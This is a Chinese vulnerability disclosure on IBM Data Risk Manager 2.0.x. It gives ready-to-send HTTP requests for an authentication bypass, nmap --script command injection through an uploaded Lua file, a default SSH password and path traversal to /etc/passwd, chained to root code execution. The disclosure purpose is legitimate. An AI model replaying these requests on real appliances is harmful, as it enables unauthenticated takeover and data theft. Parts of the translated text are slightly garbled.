0x01 漏洞介绍
IBM Data Risk Manager(IDRM)是IBM的企业安全软件,可以汇总并提供所有企业安全风险的完整视图。
该产品接收来自漏洞扫描工具和其他风险管理工具的信息提要,对其进行汇总,并允许用户对其进行综合分析。
对IDRM Linux虚拟设备进行了分析,发现它包含四个漏洞,三个严重风险和一个高风险:
· 身份验证绕过
· 命令注入
· 不安全的默认密码
· 任意文件下载
此分析描述了四个漏洞以及将前三个漏洞链接为root用户以实现未经身份验证的远程代码执行的必要步骤。此外,两个绕过身份验证并利用远程代码执行和任意文件下载功能的Metasploit模块已经发布。
在披露时,尚不清楚最新版本2.0.6是否受这些漏洞影响,奇热但很可能是受此影响,因为在更新日志中均未提及漏洞修复,并且该漏洞是在报告这些漏洞之前发布的到IBM。Agile InfoSec可以访问的最新版本是2.0.3,并且该版本肯定很容易受到攻击。
一堆 0-day 漏洞!
在披露时,这些漏洞为“ 0-day 漏洞”。试图与CERT / CC联系以协调与IBM的披露,但是IBM 拒绝接受漏洞报告,并通过以下方式对CERT / CC做出了回应:
由于该产品仅用于由客户支付的“增强”支持,因此我们评估了此报告,并认为它不在我们的漏洞披露程序的范围之内。我们的政策https://hackerone.com/ibm中对此进行了概述。要参加此计划,你必须在提交报告前的6个月内对IBM Corporation,IBM子公司或IBM客户进行安全性测试。
这是IBM的的回应,IBM是一家市值数十亿美元的公司,正在向全球大型公司出售安全企业产品和安全咨询。他们拒绝在其产品之一上接受免费的高质量漏洞报告。
IBM对其“ bug bounty program”不提供任何奖励,只有致谢:
我没有要求或期望得到赏金,因为我没有HackerOne帐户,并且我不同意HackerOne或IBM在该处的披露条款。我只是想以负责任的方式向IBM披露这些内容,然后让他们进行修复。
IDRM是一种处理非常敏感信息的企业安全产品。入侵IDRM设备可能会导致公司全面受损,因为它存储用于访问其他安全工具的凭据,更不用说它包含有关影响公司的关键漏洞的信息。
· IBM为什么拒绝接受免费的详细漏洞报告?
· 他们只接受客户的漏洞报告吗?
· 还是该产品不在支持范围内?如果是这样,为什么仍要出售给新客户?
· 在销售企业安全产品时,它们怎么会如此无可厚非?
但我至少获得了新技术。
0x02 漏洞详情
1:身份验证绕过
· CWE-287:不正确的身份验证
· CVE-TODO(尚未分配)
· 风险分类:严重
· 攻击媒介:远程
· 限制条件:无
· 受影响的产品/版本:
· IBM Data Risk Manager 2.0.1至2.0.3已确认容易受到攻击
· IBM Data Risk Manager 2.0.4至2.0.6可能容易受到攻击
IDRM在/ albatross / saml / idpSelection有一个API端点,该端点将攻击者提供的ID与系统上的有效用户相关联。处理此端点的方法如下所示:
@RequestMapping(value={"/saml/idpSelection"}, method={RequestMethod.GET}) public String idpSelection(HttpServletRequest httpRequest, HttpServletResponse httpResponse, Model model, @RequestParam(value="id", required=false) String sessionId, @RequestParam(value="userName", required=false) String userName, RedirectAttributes rattrs) { List allUrls = this.a3repository.getA3AllUrlsRepository().findByTypeAndIsDeletedAndGuardiumType(A3Constants.A3_URL_TYPE.MICROSERVICES.getValue(), A3Constants.INT_ZERO, A3Constants.A3_MICROSERVICE_TYPE.IDENTITY_MANAGER.getValue()); if (allUrls == null || allUrls.size() == 0) { rattrs.addAttribute("message", (Object)"Microservice instance is not running or more than one instance is running, please start the microservice and try again"); return "redirect:/error"; } if (allUrls.size() == 1) { A3AllUrls aUrl = (A3AllUrls)allUrls.get(0); String url = aUrl.getUrl(); if (userName == null || userName.equals("")) { rattrs.addAttribute("message", (Object)"Enter the user name, please try again"); return "redirect:/error"; } if (sessionId == null || sessionId.equals("")) { rattrs.addAttribute("message", (Object)"Session ID is not present, please try again"); return "redirect:/error"; } A3User user = this.a3repository.getA3userService().findA3UserByUserNameIgnoreCaseAndIsDeleted(userName, A3Constants.INT_ZERO); if (user == null) { rattrs.addAttribute("message", (Object)("User " + userName + " account not present in IDRM, please create the account and try again")); return "redirect:/error"; } user.setSessionId(sessionId); user.setLastUpdate(null); this.a3repository.getA3userService().save((Object)user); String page = null; page = url.endsWith("/") ? "redirect:" + url + "saml/idpSelection" : "redirect:" + url + "/saml/idpSelection"; return page; } return "redirect:/error"; }
从上面的代码中可以看出,此方法从HTTP请求接受任意的sessionId和username参数,并且如果用户名存在于应用程序的用户数据库中,则它将该sessionId与username关联。 未经身份验证的攻击者可以通过以下请求来实现此目的:
GET /albatross/saml/idpSelection?id=SOMETHING&userName=admin
服务器将响应302重定向到https:// localhost:8765 / saml / idpSelection,但这并不重要。此操作现在可能没有意义,但请继续阅读。
API端点/ albatross / user / login通过以下方法处理(仅显示相关的代码段):
@RequestMapping(value={"/user/login"}, method={RequestMethod.POST}, consumes={"multipart/form-data"}) public A3StatusBean userLogin(HttpServletRequest httpRequest, @RequestParam(value="username", required=true) String username, @RequestParam(value="deviceid") String deviceId, @RequestParam(value="password", required=false) String password, @RequestParam(value="sessionId", required=false) String sessionId, @RequestParam(value="clientDetails", required=true) String clientDetails) { (...) A3User user = this.a3repository.getA3userService().findA3UserByUserNameIgnoreCase(username); if (user != null) { if (sessionId != null) { if (sessionId.equals(user.getSessionId())) { (...) LOGGER.log(A3Constants.A3LOG, "Session is matching, so user is valid"); response.setRequestedUrl(A3Utils.getWebURLWithQueryString((HttpServletRequest)httpRequest)); response.setHttpStatus(Integer.toString(HttpStatus.OK.value())); response.setServerCode(Integer.toString(A3FullStackResponseConstants.SUCCESS)); if (this.userMap.get(user.getUserId()) == null) { user.setSessionId(null); String randomPwd = UUID.randomUUID().toString(); user.setPassword(A3BcryptUtil.getBCryptHash(randomPwd)); this.a3repository.getA3userService().save((Object)user); this.userMap.put(user.getUserId(), randomPwd); response.setData((Object)randomPwd); } else { String tPassword = this.userMap.get(user.getUserId()); user.setPassword(A3BcryptUtil.getBCryptHash(tPassword)); this.a3repository.getA3userService().save((Object)user); response.setData((Object)tPassword); } return response; } (...) }
上面列出的方法采用username和sessionId参数,并检查数据库中是否存在username并将sessionId与该username关联。如果是这样,应用程序将为该用户名返回一个新生成的随机密码。 在上一个请求中,“ admin”用户与sessionId“ SOMETHING”相关联。现在,如果我们执行以下请求:
POST /albatross/user/login HTTP/1.1 Host: 10.0.10.25:8443 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: multipart/form-data; boundary=_Part_224_2171658712_4042463386 Content-Length: 509 Connection: close --_Part_224_2171658712_4042463386 Content-Disposition: form-data; name="deviceid" --_Part_224_2171658712_4042463386 Content-Disposition: form-data; name="password" < ... any string can be sent here ... > --_Part_224_2171658712_4042463386 Content-Disposition: form-data; name="username" admin --_Part_224_2171658712_4042463386 Content-Disposition: form-data; name="clientDetails" --_Part_224_2171658712_4042463386 Content-Disposition: form-data; name="sessionId" SOMETHING --_Part_224_2171658712_4042463386--
服务器将响应:
{"httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/user/login","data":"b6e1a82b-3f33-4297-86e1-ca780d16cb02"}
...,现在得到了“ admin”*用户的有效密码,如前面的代码片段所示。
因此,现在让我们尝试使用该密码作为密码进行身份验证:
POST /albatross/user/login HTTP/1.1 Host: 10.0.10.25:8443 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: multipart/form-data; boundary=_Part_122_4062871012_3985537084 Content-Length: 435 Connection: close --_Part_122_4062871012_3985537084 Content-Disposition: form-data; name="deviceid" --_Part_122_4062871012_3985537084 Content-Disposition: form-data; name="password" b6e1a82b-3f33-4297-86e1-ca780d16cb02 --_Part_122_4062871012_3985537084 Content-Disposition: form-data; name="username" admin --_Part_122_4062871012_3985537084 Content-Disposition: form-data; name="clientDetails" --_Part_122_4062871012_3985537084--
服务器对此作出响应:
{"httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/user/login","data":{"access_token":"3b5b0fa6-2d46-4104-ba38-54a077d05a93","token_type":"bearer","expires_in":28799,"scope":"read write"}}
成功!现在,我们有一个有效的Bearer管理令牌,可用于访问各种API。也可以在/ albatross / login端点上以普通Web用户身份登录,这将生成经过身份验证的Cookie而不是令牌,从而允许访问Web管理控制台。如下所示,现在完全绕过了身份验证,并且我们拥有对IDRM的完全管理访问权限。
应当注意,这是一种破坏性的操作:先前的管理员密码将无效,并且只有上面生成的新密码才能用作管理员登录。因此,即使它没有这样命名,它也有点像“密码重置”。
2:命令注入漏洞
· CWE-77:命令注入
· CVE-TODO(尚未分配)
· 风险分类:严重
· 攻击媒介:远程
· 约束:需要身份验证
· 受影响的产品/版本:
· IBM Data Risk Manager 2.0.1至2.0.3已确认容易受到攻击
· IBM Data Risk Manager 2.0.4至2.0.6可能容易受到攻击
IDRM在/ albatross / restAPI / v2 / nmap / run / scan中公开了一个API,该API 允许经过身份验证的用户执行nmap扫描。调用堆栈和相关代码粘贴在下面:
@RequestMapping(value={"/run/nmap/scan"}, method={RequestMethod.POST}) public A3StatusBean runNmapScan(HttpServletRequest httpRequest, @RequestParam(value="transaction", required=false) String transactionData, @RequestParam(value="accessToken") String accessToken, @RequestParam(value="userId", required=false) String userName) { (...) runNmapScan invokes A3CustomScriptScanTask.run() A3CustomScriptScanTask.run() invokes A3IpScannerUtils.runNmapOnIpAddress() public static A3ExtAppNmapHostDTO runNmapOnIpAddress(String nmapPath, String nmapOptions, String ipAddress, String portRange) throws IOException, InterruptedException { String[] nmapOpts; A3ExtAppNmapHostDTO nmapHost = null; LOGGER.log(A3EurekaConstants.OPERATIONAL, "Running nmap Scan"); ArrayList command = new ArrayList(); command.add(nmapPath); for (String nmapOpt : nmapOpts = nmapOptions.split(" ")) { command.add(nmapOpt); } command.add(ipAddress); Process process = null; if (portRange != null && !portRange.equals("")) { command.add("-p"); command.add(portRange); process = Runtime.getRuntime().exec(command.toArray(new String[command.size()])); } else { process = Runtime.getRuntime().exec(command.toArray(new String[command.size()])); (...) } (...) }
为了简洁显示,调用链没有在上面列出,但是NMAP被调用与ip地址在一个设置在由攻击者的multipart / form-data的 POST请求/albatross/restAPI/v2/nmap/run/scan API端点。我们可以在此参数中注入所需的任何内容,但是,如上所示,它被放入传递给Runtime.getRuntime().exec()的String数组中。由于此函数的工作方式与C的execve()相似,因此无法在参数中执行命令注入。
如GTFObins中列出的那样,如果我们可以上传脚本文件,然后使用“ --script =
但是,要以这种方式执行代码,我们仍然需要能够上传文件。幸运的是,有一种方法可以处理补丁文件并接受任意文件数据,并将其保存到“ / home / a3user / agile3 / patches /
为了上传文件,我们只需要发送以下请求:
POST /albatross/upload/patch HTTP/1.1 Host: 10.0.10.25:8443 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Cookie: JSESSIONID=D68124D3EFD66417B4C6B0950E1891C0; CSRF-TOKEN: 4f88a837-5f12-4d15-a0d5-57b24de17176 Content-Type: multipart/form-data; boundary=_Part_387_3982485447_258275719 Content-Length: 330 Connection: close --_Part_387_3982485447_258275719 Content-Disposition: form-data; name="patchFiles"; filename="owned.enc" Content-Type: application/octet-stream Content-Transfer-Encoding: binary os.execute("/usr/bin/whoami > /tmp/testing") --_Part_387_3982485447_258275719--
服务器将以200 OK响应,但将包含一条JSON消息,指出已发生错误。这无关紧要,因为该文件仍被上传到磁盘。 最后,我们注入参数并使用以下请求运行nmap:
POST /albatross/restAPI/v2/nmap/run/scan/18 HTTP/1.1 Host: 10.0.10.25:8443 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Authorization: Bearer 3b5b0fa6-2d46-4104-ba38-54a077d05a93 Content-Type: multipart/form-data; boundary=_Part_841_3176682485_2250831758 Content-Length: 440 Connection: close --_Part_841_3176682485_2250831758 Content-Disposition: form-data; name="clientDetails" --_Part_841_3176682485_2250831758 Content-Disposition: form-data; name="type" 1 --_Part_841_3176682485_2250831758 Content-Disposition: form-data; name="portRange" --_Part_841_3176682485_2250831758 Content-Disposition: form-data; name="ipAddress" --script=/home/a3user/agile3/patches/owned.enc --_Part_841_3176682485_2250831758--
这将执行“ nmap --script = / home / a3user / agile3 / patches / owned.enc”并运行我们的命令:
[a3user@idrm-server ~]$ cat /home/a3user/agile3/patches/owned.enc os.execute("/usr/bin/whoami > /tmp/testing") [a3user@idrm-server ~]$ cat /tmp/testing a3user
请注意,所有这些请求都需要经过管理员身份验证的会话,但可以轻松地绕过此请求。实现完全未经身份验证的远程代码执行的实际流程更加复杂,因为我们需要同时对Web界面和API进行身份验证,但是上面已经描述了基本的工作方式。
3:不安全的默认密码
· CWE-798:硬编码凭据的使用
· CVE-TODO(尚未分配)
· 风险分类:严重
· 攻击媒介:远程
· 限制条件:无
· 受影响的产品/版本:
· IBM Data Risk Manager 2.0.1至2.0.3已确认容易受到攻击
· IBM Data Risk Manager 2.0.4至2.0.6可能容易受到攻击
IDRM虚拟设备中的管理用户是“ a3user”。允许该用户通过SSH登录并运行sudo命令,并使用默认密码“ idrm”对其进行设置。
与漏洞1和2结合使用时,这将使未经身份验证的攻击者能够以root身份在IDRM虚拟设备上以远程方式执行代码,从而导致系统完全受到威胁。
尽管IDRM会强制Web界面的管理用户(“ admin”)在首次登录时更改其密码,但它不需要与“ a3user”相同。
4:任意文件下载
· CWE-22:路径名到受限目录的不当限制(“路径遍历”)
· CVE-TODO(尚未分配)
· 风险分类:高
· 攻击媒介:远程
· 约束:需要身份验证
· 受影响的产品/版本:
· IBM Data Risk Manager 2.0.2和2.0.3已确认容易受到攻击
· IBM Data Risk Manager 2.0.4至2.0.6可能容易受到攻击
IDRM在/ albatross / eurekaservice / fetchLogFiles中公开了一个API,该API 允许经过身份验证的用户从系统下载日志文件。但是,logFileNameList参数包含一个基本的目录遍历漏洞,攻击者可以利用该漏洞从系统中下载任何文件。 代码路径是复杂的,为简洁起见,此处不会显示,但是利用非常简单:
POST /albatross/eurekaservice/fetchLogFiles HTTP/1.1 Host: 10.0.10.25:8443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://10.0.10.25:8443/albatross/home Content-Type: application/json CSRF-TOKEN: 93e0dbe1-88e5-450e-ab2c-7c614b709876 Content-Length: 93 Cookie: JSESSIONID=ABFFB7EB959FAC45743AC2889960DFD0 Connection: close {"instanceId":"local_host","logLevel":"DEBUG","logFileNameList":"../../../../../etc/passwd,"}
响应:
HTTP/1.1 200 Strict-Transport-Security: max-age=31536000 ; includeSubDomains X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Disposition: attachment; filename=ms_logs_admin.zip Accept-Ranges: bytes X-Content-Type-Options: nosniff Content-Type: application/zip Content-Length: 550 Date: Wed, 17 Oct 2018 11:46:45 GMT Connection: close
与#1组合使用时,这将允许未经身份验证的攻击者从系统中下载“ a3user”可读的任何文件。应该注意的是,版本2.0.1并不容易受到攻击,但高于版本2.0.1的则容易受到攻击。尝试使用此方法下载任意文件将导致HTTP 500错误,并显示“文件安全性异常”消息。
0x03 漏洞利用
通过结合漏洞#1,#2和#3,未经身份验证的用户可以以root用户身份执行远程代码。有研究员发布了实现该RCE链的Metasploit模块,下面的截图所示:
https://github.com/rapid7/metasploit-framework/pull/13300 https://asciinema.org/a/328326
如果漏洞#1和#4组合在一起,则未经身份验证的攻击者可能会从系统中下载任意文件。有研究员发布了实现该文件下载链的第二个Metasploit模块,下面截图所示:
https://github.com/rapid7/metasploit-framework/pull/13301 https://asciinema.org/a/328317
0x04 漏洞修复
IBM拒绝承认此漏洞报告,因此很可能不会修复这些漏洞。请确保卸载产品,以免危及你的网络/公司。